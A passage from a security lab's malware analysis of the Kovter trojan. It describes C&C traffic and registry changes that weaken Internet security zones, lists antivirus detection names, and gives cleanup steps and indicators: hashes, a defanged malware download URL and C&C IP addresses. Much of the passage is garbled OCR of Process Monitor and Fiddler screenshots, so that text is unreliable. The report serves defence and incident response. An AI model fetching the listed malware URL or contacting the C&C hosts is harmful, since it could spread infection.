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8. Communication with C&C and lowering the internet security settings

As was expected, Kovter (PowerShell stage) creates Regsrv32 processes, which communicate to many different
IPs, sending computer, OS and user encrypted information and waiting for the next command to execute. Notice
that it modifies the security Zone settings by disabling UNCAsIntranet and AutoDetect keys in the Internet

Settings\ZoneMap registry.

e ome s mANSSmbUNGY mneuseemaswasss aucas o s e oo -

1041 BEexe 1132 H ACAG75-EBFC-11D0-ADTC-D0C04FB68E20) SUCCESS | ©2rPocmonee 13668 K 23572K 1852 Process Monitor Sysintemals - www.sysinter. i

1041, Witmp/D8Eee 1132 BReadFis C:\Windons"SysWOWE4 wbemeomn di SUCCESS £ Procmont4 exe. EEAR 47144 K Sysirtemals - wuw.sysirter.

10:41 Em!h(s e 2024 BY Process Start SUCCESS (.. mmc.exe. <001 22492K 33384 K 3996 Microsoft Management Cons... Microsoft Corporation

1041... [Fimshie.exe 2024 B ReadFie C:\Wiindons' System32\mshs exe SUCCESS & Qyprocem exe 2224K 7344 K 3155 Sysitemals Process Explorer - Sysitemals - www sysiter

1041.... Eimshia.exe 2024 B ReadFie C:\Windans'System32\en-US'mstta exe.mi SUCCESS 2 procempbexe 031 17472K  31208K 312 Sysirtemals Process Explorer  Sysiniemals - ww.sysinter. -

10:41:... Fimshta.exe 2024 @R RegSetirfokey HKLM\SOFTWARE\Microsoft\COM3 SUCCESS © ElRgsvizee 075 7.080K 15264K 1972 MicrosoR(C) Register Server  Microsaft Corporation L

1041 [Fmshta.cxe 2024 @R RegSetinfokey HKCF LSIDN: 11CF- SUCCESS [niregsvra2exe. 001 262K 6544 K 1524 Microsoft(C) Register Server  Microsoft Comoration 3

1041.... Eimshic.exe 2024 BRRegSetinfolkey - HKCR'Wan6432Nods\CLSID\3050F5C8-9885-11CF-BB82-00AAD0BDCEDE} SUCCESS

1041 Emsh\s exe 2024 @XRegSetinfokey HKLM\SOFTWARE\Wow6432Node SUCCESS k™S

1041... [Fimshia.oxe 2024 @4 Reglreatekey  HKCU Wind i M SUCCESS

ol %mmm T et it oy MAve o roL | JLCPY Usege:226% _ Commit Charge: 2.24% Processes: 4 Physicel Usage 2980%

1041... Fimshiz.exe 2024 #%RegDeleteValue HKCU Wind: NAME NOTFOL | g, Fiddler Web Debugger

1041... Eimshia.cxe 2024 B&RegSetVae  HKCU Vind MapAUNCAsL...SLCCE

10:41:... Fimshta.cxe 2024 @ RegSetValue  HKCU! Winde SUCCESS File FEdit Rules Tools View Help GET/book [ GeoEdge

;gﬂ %:ﬂ:: %: : :Egj::x:::: :&t e i :mé zgxgt () 43 Replay X+ b Go | § Stream fili Decode | Keep: All sessions + @) Any Process & Find [F Save |8} (5) @ Browse - G Clear Cache

ml %mﬂs e $: : Egaﬁue :& Winde INCAs! Sugé 2 N Result  Protocl Host URL <) @ stavstics [ inspectors | £ | composer [ [l Loa [ C
imshic.exe % RegSet Voo Wind i

o Eeoe e L R i ol ZoneM Soocess 1 a0 wres www, teeric.com  JUpdateCheck aspxi]

1041... [Fimshta.exe 2024 @ RegstinfoKey - HKCR\Wone432Node\CLSID\5AD5107A-0278-4871-8383-FACEAAF 5CFC) SUCCESS A2 sz v 185.117.72.90 _fupload.php S G € e SRS i e (12, S T @

1041... Eimshia.cxe 2024 B&RegSetnfolkey - HKLMASOFTWARE\Polcies\ Microsct\Cryplography SUCCESS As s TR 185.117.72.80  juplosd.php statiscics.

10:41:... Simshta.exe 2024 @R RegSetifokey HKLM\SOFTWARE\Microsoft\Cryptography SUCCESS As 405 HTTR 127.148.135.156 |

1041... [Fimshic.exe 2024 B RegSetnfokey - HKCR'Wor6432Node\CLSID\{00020424-0000-0000-C000-000000000045) SUCCESS As w5 TR 127.198.135.156 |

1041 %mshta . 2024 B&RegSetnfolkey - HKLM\SOFTWARE\Microsoft\Cyptography SUCCESS As w5 T 127.148.135.156 § S oo smrves

1041 mshta exe 2024 @} RegSetinfokey HKCR\Wow6432Node'\CLSID\{842A1268-6E6A-465C-868F-8BC44569828F} SUCCESS oin the Telerdl 1 &r_Insider program and get involved 1

1041 Fimshia cxe 2024 @ RegSetifokey  HKCR Won432Node\CLID\{1 F4B8A52-3CB 1-48FD-8F50-88DCI00DSFSD) SUCCESS ﬁ; xz ﬂ E; j: E:EZ j =] product roadmap and testing new featires - hetp://bit.ly/eic

10:41:... Fimshta.exe 2024 AReadFie C:\Users' Sl Deskiop'\desktop ini SUCCESS Ao D s 1 )

1041 mshta exe 2024 HKLM\SOFTV Windc KindMap SUCCESS .

1041 %mshta e 2024 @ RegSetifokey HKCR'\Wow6432Node\CLSID\{7BBA2D94-DACS-11D1-896C-D0CO4FBEBFC4} SUCCESS An w5 e 127.148.135.1% |

1041:... [Fimshta.exe 2024 B\ ReadFie [ y SUCCESS Aun a5 HTR 127.148.135.156 |

1041... Fimshic.exe 202¢ A ReadFie c v SUCCESS An s TP 127.148.135.155 /

1041... Emshia.exe 2024 BAReadFie c SUCCESS A s TR 127.196.135.1% |

1041:.. Fmshta exe 2024 hReadFie c ¥ SUCCESS A w5 HTR 127.198.135.15 |

10:41... [Fmsht 2024 &7 Process Create_C:\Windons'SysWOW84\Windows PonerShellw1.0\powershellexe SUCCESS A s 127,19, 135,15/

1041 [Tmshta exe 2024 AReadFie C OWs4 SUCCESS Al w5 TP 127.148.135.156 /

1041 [Fimshta exe 2024 BhReadFie [ * SUCCESS A w5 TR 127.148.135.156 |

10:41 E 3384 HKLM\SOFTV Windc NT\Cu File Execution Options SUCCESS At 405 HTTP 127.148.135.156 /

1041... Ppowershellere 3384 #8RegSetifokey HKLM\System\Curent CortrolSet:Control\SESSION MANAGER SUCCESS Aw w5 HTE 127,146,135.15 |

1041 E HKLM\SOFTY SUCCESS An w5 TP 127.146,135.15 |

9. Detection on VirusTotal

After we wrote the decrypted Kovter code to the disk (the encrypted code resides in one of the registry keys), we
uploaded it to VirusTotal. [ Note that Kovter will not write the executable it uses to the disk ]

The upload results in:
Sha256: 7178d1babda77e159936fe4e3841c7a3dad3b78a6737ba7dd9a1f3c370f6dc34

We see immediately that most of the AV solutions do recognize the Kovter signatures when written to disk.
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AhnlLab-V3
Antiy-AVL

Arcabit

Avast

Awvira (no cloud)
BitDefender
CrowdStrike Falcon (ML)
DriWeb
ESET-NOD32
Emsisoft

F-Secure

GData

Invincea
KFAntVirus

KIGW
Malwarebytes
McAfee-GW-Edition
eScan

Microsoft

NANQO-Antivirus

TrojanMWin32 Kovter.C1503405
Trojanin32.Yakes
Trojan.Inject. GO
Sf:ShellCode-AD [Tr]
DR/Delphi.Gen
Trojan.Inject GO
malicious_confidence_100% (D)
Trojan_ Kovter origin

a variant of Win32/Kovter.C
Trojan_Inject GO (B)

Trojan Inject GO
Trojan.Inject. GO
virus.win32.neshta.a
Trojan ( 004c341a1)

Trojan ( 004c341a1)
Trojan.Kaovter
BehavesLike Win32 Backdeor.gh
Trojan.Inject GO
Trojan-Win32/Kovter

Trojan Win32 Kovter.ehlmav

10.How to clean this malware and be safe

MORPHISEC LAB

20161021
20161021
20161021
20161021
20161021
20161021
20160725
20161021
20161021
20161021
20161021
20161021
20161015
20161021
20161021
20161021
20161021
20161021
20161021

20161021

1) Kill the regsrv32 processes. We recommend to use “Process Hacker” and run it as admin.

2) Remove the persistency by deleting all the Registry described variables. Beside the RUN key, take into
account that you will have different random names.

3) Clean the RUN key [We would recommend to simply delete it. This will recreate the RUN key as new clean
key automatically. You can also use RegmagiK or native tools to edit the registry without removing the legit
values. Note: Take into consideration that previous default settings of yours will get lost if you delete the

RUN key ]

4) Remove all the *.Ink and bat files as described in this report. Take into account that those will be generated
with different names on your machine.]

5) Since Kovter modifies your Internet security settings, please use tools to fix your registry.

6) To be safe, we recommend to add Morphisec to your arsenal to prevent future infections ;-)
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11.Relevant artifacts:

Doc File - 97f3fb12837db7d4e27b11d310d8f441d00e65a43e95e9af2435e5e47abb1668

Kovter URL - hxxp://demitartgourmet[.Jcom/changelog/bindatal.]exe

Kovter Executable — 7e57dca4b9dec787e3fdbc983ee8111f97f75fa772e77a166ec18c49e1358f50

Sandbox report for the same executable - https://www.hybrid-
analysis.com/sample/7e57dca4b9dec787e3fdbc983ee8111f97f75fa772e77al66ec18c49e1358f507environme

ntld=100
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